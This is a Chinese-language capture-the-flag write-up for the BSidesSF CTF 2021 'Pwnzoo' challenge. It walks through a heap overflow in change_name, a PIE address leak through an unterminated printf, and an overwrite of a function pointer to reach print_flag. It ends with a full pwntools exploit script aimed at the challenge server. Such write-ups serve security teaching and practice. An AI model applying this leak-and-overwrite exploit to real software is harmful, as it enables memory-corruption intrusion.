BSidesSF CTF 2021 Pwnzoo

检查一下开启的保护机制:

BSidesSF CTF 2021 Pwnzoo

 

用ida分析一下程序:

主函数是这样的:

BSidesSF CTF 2021 Pwnzoo

 

走到construct_animal()函数:

BSidesSF CTF 2021 Pwnzoo

申请了一个堆块,用以存储动物结构体,看起来这个堆块上有函数指针

并且会把anmial->name初始化为0x24个空格,下面change_name时会用到

 

main函数调用完construct_animal()后,会调用change_name()函数:

BSidesSF CTF 2021 Pwnzoo

change_name是向堆块上写数据,并且可以输入strlen(animal->name)+1个数据,这是一个堆溢出

然后main函数会一直循环menu()函数,menu提供change_name,speak,exit的功能

 

现在用gd调试一下,看看这个animal结构体:

BSidesSF CTF 2021 Pwnzoo

那么animal结构体的定义应该是这样的:

struct animal{

  int species;

  char name[0x24];

  void (* speak) (animal_t * a);

};

 那么就利用堆溢出,改写这个函数指针

程序正好提供了print_flag函数:

BSidesSF CTF 2021 Pwnzoo

面临的问题就是程序开启了pie,我们不知道print_flag()函数地址

speak_dog函数会调用printf("%s",animal->name)把堆块里的数据打印出来,

如果没有遇到\x00,会连带把animal->speak一块打印出来,这样就拿到了pie

 

利用脚本如下:

#coding:utf-8

from pwn import *
context.log_level="debug"
#sh=gdb.debug("./pwnzoo")
#sh=process("./pwnzoo")
sh=remote("pwnzoo-7fb58ad8.challenges.bsidessf.net",1234)
elf=ELF("./pwnzoo")

def edit(name):
    sh.sendlineafter("Menu","2")
    sh.sendlineafter("name",name)
    
sh.sendlineafter("dog?",'d')
sh.sendlineafter("name",'a'*0x23+'z')

sh.sendlineafter("Menu","1")
sh.recvuntil("aaz")
pie=u64(sh.recv(6)+b"\x00\x00")-0x11e5
info(hex(pie))

for i in range(6):edit(b'a'*0x24+p64(pie+elf.sym['print_flag'])[:i+1]) 
sh.sendlineafter("Menu","1")

#pwnlib.gdb.attach(sh)
sh.interactive()

 

上一篇:C/C++基础知识:虚继承


下一篇:Python:多态